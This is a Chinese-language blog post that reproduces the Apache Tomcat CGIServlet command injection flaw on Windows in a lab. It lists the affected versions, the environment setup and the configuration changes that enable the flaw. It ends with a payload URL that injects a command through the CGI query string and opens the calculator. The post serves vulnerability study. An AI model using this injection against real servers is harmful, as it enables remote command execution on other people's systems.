0x00 漏洞介紹
該漏洞是由於Tomcat CGI將命令行參數傳遞給Windows程序的方式存在錯誤,使得CGIServlet被命令注入影響。
該漏洞只影響Windows平台,要求啟用了CGIServlet和enableCmdLineArguments參數。但是CGIServlet和enableCmdLineArguments參數默認情況下都不啟用。
0x01 漏洞影響范圍
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93
0x02 環境
VMware 虛擬機 windows 7
JDK 1.8.0_73
Apache tomcat 9.0.13
0x03 復現步驟
(一)首先安裝JDK(這里我安裝的是JDK 1.8.0_73)然后配置環境變量


新建變量名為JAVA_HOME的變量變量值為你安裝jdk的路徑
例:變量名:JAVA_HOME變量值:C:\Program Files (x86)\Java\jdk1.8.0_73
新建變量名為JRE_HOME的變量變量值為你安裝jdk文件夾中jre文件夾的路徑
例:變量名JRE_HOME變量值: C:\Program Files (x86)\Java\jdk1.8.0_73\jre
新建變量名為CLASSPATH的變量變量值為.;%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar(ps:前面有個點)
在變量path新增變量值為;%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin(ps:前面有;)
配好變量后打開cmd命令框輸入java –version出現java版本號等信息則說明變量安裝成功。
如圖:

(二)安裝tomcat
這里我用的是 apache - tomcat - 19.0.3
tomcat各個版本下載鏈接:https://archive.apache.org/dist/tomcat/
安裝完成之后,cmd 啟動 tomcat

打開瀏覽器訪問正常,說明tomcat安裝完畢。

(三)修改配置文件
1.apache-tomcat-9.0.13\conf\web.xml 該文件
需要取消掉注釋的一共是倆部分,並且將下圖框中內容插入


2.conf/context.xml 中的<Context>添加privileged="true"語句 如下圖

3.在C:\Users\lenovo\Desktop\apache-tomcat-9.0.13\apache-tomcat-9.0.13\webapps\ROOT\WEB-INF
下創建一個cgi-bin文件夾,並在文件夾內創建一個bat文件可以什么都不寫或者寫一些bat語句。


一切准備完成。
(四)重啟tomcat。
(五)利用payload
payload:http://localhost:8080/cgi-bin/hello.bat?&C:\Windows\System32\calc.exe
該payload為打開計算器,訪問之后成功打開計算器。

(六)復現成功。
Tank You !!
博主公眾號

本文歡迎轉載。 如轉載請務必注明出處。 覺得寫的不錯的可以右側打賞一手。 群在上邊歡迎大家來撩。
